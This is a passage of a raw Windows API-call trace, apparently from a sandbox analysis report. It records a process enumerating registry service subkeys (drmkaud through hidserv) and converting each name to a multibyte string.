lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dps", lpUsedDefaultChar=0x0) returned 3 [0241.643] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0241.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drmkaud", lpUsedDefaultChar=0x0) returned 7 [0241.643] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0241.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxgkrnl", lpUsedDefaultChar=0x0) returned 7 [0241.643] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0241.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e1g60", lpUsedDefaultChar=0x0) returned 5 [0241.643] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0241.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eaphost", lpUsedDefaultChar=0x0) returned 7 [0241.644] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0241.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ebdrv", lpUsedDefaultChar=0x0) returned 5 [0241.644] RegEnumKeyW (in: hKey=0x150, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0241.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="efs", lpUsedDefaultChar=0x0) returned 3 [0241.644] RegEnumKeyW (in: hKey=0x150, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0241.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehrecvr", lpUsedDefaultChar=0x0) returned 7 [0241.644] RegEnumKeyW (in: hKey=0x150, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0241.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehsched", lpUsedDefaultChar=0x0) returned 7 [0241.644] RegEnumKeyW (in: hKey=0x150, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0241.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="elxstor", lpUsedDefaultChar=0x0) returned 7 [0241.645] RegEnumKeyW (in: hKey=0x150, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0241.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="errdev", lpUsedDefaultChar=0x0) returned 6 [0241.645] RegEnumKeyW (in: hKey=0x150, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0241.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="esent", lpUsedDefaultChar=0x0) returned 5 [0241.645] RegEnumKeyW (in: hKey=0x150, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0241.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventlog", lpUsedDefaultChar=0x0) returned 8 [0241.645] RegEnumKeyW (in: hKey=0x150, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0241.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x21f1a90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0241.645] RegEnumKeyW (in: hKey=0x150, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0241.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exfat", lpUsedDefaultChar=0x0) returned 5 [0241.646] RegEnumKeyW (in: hKey=0x150, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0241.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fastfat", lpUsedDefaultChar=0x0) returned 7 [0241.646] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0241.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0241.646] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0241.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdc", lpUsedDefaultChar=0x0) returned 3 [0241.646] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0241.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdphost", lpUsedDefaultChar=0x0) returned 7 [0241.646] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0241.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdrespub", lpUsedDefaultChar=0x0) returned 8 [0241.647] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0241.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fileinfo", lpUsedDefaultChar=0x0) returned 8 [0241.647] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0241.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0241.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x21f1a90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="filetrace", lpUsedDefaultChar=0x0) returned 9 [0241.647] RegEnumKeyW (in: hKey=0x150, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0241.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flpydisk", lpUsedDefaultChar=0x0) returned 8 [0241.647] RegEnumKeyW (in: hKey=0x150, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0241.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fltmgr", lpUsedDefaultChar=0x0) returned 6 [0241.647] RegEnumKeyW (in: hKey=0x150, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0241.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0241.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x21f1928, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache", lpUsedDefaultChar=0x0) returned 9 [0241.648] RegEnumKeyW (in: hKey=0x150, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0241.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0241.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x21f1a90, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache3.0.0.0", lpUsedDefaultChar=0x0) returned 16 [0241.648] RegEnumKeyW (in: hKey=0x150, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0241.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0241.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x21f1928, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fsdepends", lpUsedDefaultChar=0x0) returned 9 [0241.648] RegEnumKeyW (in: hKey=0x150, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0241.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fs_rec", lpUsedDefaultChar=0x0) returned 6 [0241.648] RegEnumKeyW (in: hKey=0x150, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0241.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fvevol", lpUsedDefaultChar=0x0) returned 6 [0241.648] RegEnumKeyW (in: hKey=0x150, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0241.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gagp30kx", lpUsedDefaultChar=0x0) returned 8 [0241.649] RegEnumKeyW (in: hKey=0x150, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0241.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpsvc", lpUsedDefaultChar=0x0) returned 5 [0241.649] RegEnumKeyW (in: hKey=0x150, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0241.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdate", lpUsedDefaultChar=0x0) returned 7 [0241.649] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0241.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdatem", lpUsedDefaultChar=0x0) returned 8 [0241.649] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0241.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hcw85cir", lpUsedDefaultChar=0x0) returned 8 [0241.649] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0241.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0241.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x21f1928, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudaddservice", lpUsedDefaultChar=0x0) returned 15 [0241.650] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0241.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudbus", lpUsedDefaultChar=0x0) returned 8 [0241.650] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0241.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbatt", lpUsedDefaultChar=0x0) returned 7 [0241.650] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0241.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbth", lpUsedDefaultChar=0x0) returned 6 [0241.650] RegEnumKeyW (in: hKey=0x150, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0241.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidir", lpUsedDefaultChar=0x0) returned 5 [0241.650] RegEnumKeyW (in: hKey=0x150, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0241.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, 